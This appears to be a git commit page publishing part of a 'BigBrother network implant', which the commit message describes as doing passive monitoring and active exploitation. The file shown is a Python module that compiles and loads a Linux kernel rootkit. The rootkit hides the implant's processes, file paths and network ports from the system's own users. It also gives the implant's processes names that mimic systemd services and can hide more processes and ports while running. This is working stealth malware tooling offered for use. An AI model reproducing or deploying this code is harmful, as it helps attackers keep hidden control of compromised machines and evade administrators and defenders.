Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,293 @@
|
||||
#!/usr/bin/env python3
|
||||
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
||||
SystemMonitor processes, files, and network connections from userland."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
LKM_TEMPLATE_DIR = "templates/lkm"
|
||||
LKM_SOURCE = "bb_hide.c"
|
||||
LKM_MODULE = "bb_hide.ko"
|
||||
LKM_MODULE_NAME = "bb_hide"
|
||||
|
||||
# Default hide lists
|
||||
DEFAULT_HIDE_PREFIX = ".cache/bb"
|
||||
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
|
||||
|
||||
|
||||
class LKMRootkit(BaseModule):
|
||||
"""Manage a Linux kernel module for process/file/connection hiding.
|
||||
Debian generic host only -- gracefully skips on SBC tiers."""
|
||||
|
||||
name = "lkm_rootkit"
|
||||
module_type = "stealth"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
|
||||
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
|
||||
self._loaded = False
|
||||
self._hidden_pids: list[int] = []
|
||||
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
|
||||
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
|
||||
self._hide_process_names: list[str] = config.get("hide_process_names", [
|
||||
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
||||
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
||||
])
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Check hardware tier: LKM only on generic Debian hosts
|
||||
tier = get_hardware_tier()
|
||||
if tier != TIER_GENERIC:
|
||||
logger.info(
|
||||
"LKMRootkit skipped — tier '%s' does not support kernel modules "
|
||||
"(requires 'generic' Debian host)", tier,
|
||||
)
|
||||
self.state.set_module_status(self.name, "skipped",
|
||||
extra={"reason": f"unsupported_tier:{tier}"})
|
||||
self.bus.emit("MODULE_STARTED", {
|
||||
"module": self.name, "skipped": True, "reason": "unsupported_tier",
|
||||
}, source_module=self.name)
|
||||
return
|
||||
|
||||
# Build if needed
|
||||
if not os.path.isfile(self._module_path):
|
||||
if not self._build_module():
|
||||
logger.error("LKM build failed — module not available")
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "build_failed"})
|
||||
return
|
||||
|
||||
# Load module
|
||||
if self._load_module():
|
||||
self._loaded = True
|
||||
self._configure_hide_lists()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LKMRootkit loaded and configured")
|
||||
else:
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "load_failed"})
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
if self._loaded:
|
||||
self._unload_module()
|
||||
self._loaded = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LKMRootkit stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"loaded": self._loaded,
|
||||
"hidden_pids": list(self._hidden_pids),
|
||||
"hidden_paths": list(self._hidden_paths),
|
||||
"hidden_ports": list(self._hidden_ports),
|
||||
"module_path": self._module_path,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "hide_paths" in config:
|
||||
self._hidden_paths = config["hide_paths"]
|
||||
if "hide_ports" in config:
|
||||
self._hidden_ports = config["hide_ports"]
|
||||
if "hide_process_names" in config:
|
||||
self._hide_process_names = config["hide_process_names"]
|
||||
if self._loaded:
|
||||
self._configure_hide_lists()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: dynamic hide/unhide
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def hide_pid(self, pid: int) -> bool:
|
||||
"""Add a PID to the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if pid not in self._hidden_pids:
|
||||
self._hidden_pids.append(pid)
|
||||
return self._write_param("hide_pids", self._format_pid_list())
|
||||
return True
|
||||
|
||||
def unhide_pid(self, pid: int) -> bool:
|
||||
"""Remove a PID from the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if pid in self._hidden_pids:
|
||||
self._hidden_pids.remove(pid)
|
||||
return self._write_param("hide_pids", self._format_pid_list())
|
||||
return True
|
||||
|
||||
def hide_port(self, port: int) -> bool:
|
||||
"""Add a port to the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if port not in self._hidden_ports:
|
||||
self._hidden_ports.append(port)
|
||||
return self._write_param("hide_ports", self._format_port_list())
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: build
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_module(self) -> bool:
|
||||
"""Compile the kernel module from source."""
|
||||
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
|
||||
if not os.path.isfile(source_path):
|
||||
logger.error("LKM source not found: %s", source_path)
|
||||
return False
|
||||
|
||||
# Check for kernel headers
|
||||
kdir = f"/lib/modules/{os.uname().release}/build"
|
||||
if not os.path.isdir(kdir):
|
||||
logger.error("Kernel headers not found: %s", kdir)
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["make", "-C", self._lkm_dir],
|
||||
capture_output=True, timeout=120,
|
||||
env={**os.environ, "KDIR": kdir},
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM built successfully: %s", self._module_path)
|
||||
return True
|
||||
else:
|
||||
logger.error(
|
||||
"LKM build failed (rc=%d): %s",
|
||||
result.returncode,
|
||||
result.stderr.decode(errors="replace")[:500],
|
||||
)
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("make not found — cannot build LKM")
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("LKM build timed out")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: load/unload
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_module(self) -> bool:
|
||||
"""Load the kernel module via insmod."""
|
||||
params = self._build_insmod_params()
|
||||
try:
|
||||
cmd = ["insmod", self._module_path] + params
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM loaded: %s", self._module_path)
|
||||
return True
|
||||
else:
|
||||
stderr = result.stderr.decode(errors="replace")
|
||||
if "File exists" in stderr:
|
||||
logger.info("LKM already loaded")
|
||||
return True
|
||||
logger.error("insmod failed: %s", stderr[:300])
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("insmod not found")
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("LKM load failed")
|
||||
return False
|
||||
|
||||
def _unload_module(self) -> bool:
|
||||
"""Unload the kernel module via rmmod."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["rmmod", LKM_MODULE_NAME],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM unloaded")
|
||||
return True
|
||||
else:
|
||||
logger.warning(
|
||||
"rmmod failed: %s",
|
||||
result.stderr.decode(errors="replace")[:200],
|
||||
)
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("rmmod not found")
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("LKM unload failed")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: module parameter management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_insmod_params(self) -> list[str]:
|
||||
"""Build insmod parameter list."""
|
||||
params = []
|
||||
if self._hidden_paths:
|
||||
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
|
||||
if self._hidden_pids:
|
||||
params.append(f'hide_pids="{self._format_pid_list()}"')
|
||||
if self._hidden_ports:
|
||||
params.append(f'hide_ports="{self._format_port_list()}"')
|
||||
return params
|
||||
|
||||
def _configure_hide_lists(self) -> None:
|
||||
"""Write current hide lists to loaded module's parameters via sysfs."""
|
||||
if not self._loaded:
|
||||
return
|
||||
# Collect current SystemMonitor PIDs from state
|
||||
try:
|
||||
all_status = self.state.get_all_module_status()
|
||||
for mod_name, mod_status in all_status.items():
|
||||
pid = mod_status.get("pid")
|
||||
if pid and pid not in self._hidden_pids:
|
||||
self._hidden_pids.append(pid)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._write_param("hide_pids", self._format_pid_list())
|
||||
self._write_param("hide_ports", self._format_port_list())
|
||||
if self._hidden_paths:
|
||||
self._write_param("hide_prefix", self._hidden_paths[0])
|
||||
|
||||
@staticmethod
|
||||
def _write_param(param: str, value: str) -> bool:
|
||||
"""Write to kernel module parameter via /sys/module/."""
|
||||
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
|
||||
try:
|
||||
with open(param_path, "w") as f:
|
||||
f.write(value)
|
||||
return True
|
||||
except (IOError, PermissionError, FileNotFoundError):
|
||||
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
|
||||
return False
|
||||
|
||||
def _format_pid_list(self) -> str:
|
||||
return ",".join(str(p) for p in self._hidden_pids)
|
||||
|
||||
def _format_port_list(self) -> str:
|
||||
return ",".join(str(p) for p in self._hidden_ports)
|
||||
Reference in New Issue
Block a user